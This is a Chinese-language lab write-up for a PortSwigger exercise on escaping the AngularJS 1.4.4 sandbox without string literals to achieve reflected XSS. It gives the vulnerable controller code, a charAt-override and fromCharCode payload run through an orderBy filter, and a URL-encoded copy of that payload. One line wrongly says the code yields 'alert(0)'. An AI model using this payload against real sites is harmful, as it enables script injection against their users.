> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/angularjs-sandbox-escape-without-strings.md).

# 不使用字符串的 AngularJS 沙箱逃逸

不使用字符串的 AngularJS 沙箱逃逸笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 无需字符串即可逃逸 AngularJS 沙箱的反射型 XSS

AngularJS 上的反射型 XSS **1.4.4** — 逃逸沙箱并执行 `alert(1)` 无需 `$eval` 或字符串字面量。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-647e877d7b263f3c5c1b0edaeda546a03da5665b%2Fimage%20(3055).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-752a672b5dc4bd2d359843e791198419510777dc%2Fimage%20(3056).png?alt=media" alt=""><figcaption></figcaption></figure>

**观察到的代码**

```javascript
angular.module('labApp', []).controller('vulnCtrl',function($scope, $parse) {
                            $scope.query = {};
                            var key = 'search';
                            $scope.query[key] = 'test';
                            $scope.value = $parse(key)($scope.query);
                        });
```

**尝试**

* 字符串测试 / $eval（不起作用）：/ `{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}`
* 可以通过在查询字符串中注入以下内容来破坏解析 `&`:/ `&7+ 7` → `&7%2b7`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d9ad2e85d7418843e604ef0293407a7ae6daef15%2Fimage%20(3058).png?alt=media" alt=""><figcaption></figcaption></figure>

动态构建 `alert(1)` 通过 `toString().constructor.fromCharCode(...)` 并强制过滤器求值（`orderBy`):

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f710496193d428bbfefa1fdf1cc3fac174a575b%2Fimage%20(3057).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```javascript
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```

{% endcode %}

“ 该片段会破坏解析，并在十六进制/ASCII 中生成 `alert(0)` 字符串。

**有效载荷（URL 编码，已提供）**

{% code overflow="wrap" %}

```javascript
%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%70%72%6f%74%6f%74%79%70%65%2e%63%68%61%72%41%74%3d%5b%5d%2e%6a%6f%69%6e%3b%20%5b%31%2c%32%5d%7c%6f%72%64%65%72%42%79%3a%74%6f%53%74%72%69%6e%67%28%29%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%31%32%30%2c%36%31%2c%39%37%2c%31%30%38%2c%31%30%31%2c%31%31%34%2c%31%31%36%2c%34%30%2c%34%39%2c%34%31%29
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b268e9834c78e048c81dbce572d83bad780ada90%2Fimage%20(3059).png?alt=media" alt="" width="366"><figcaption></figcaption></figure>


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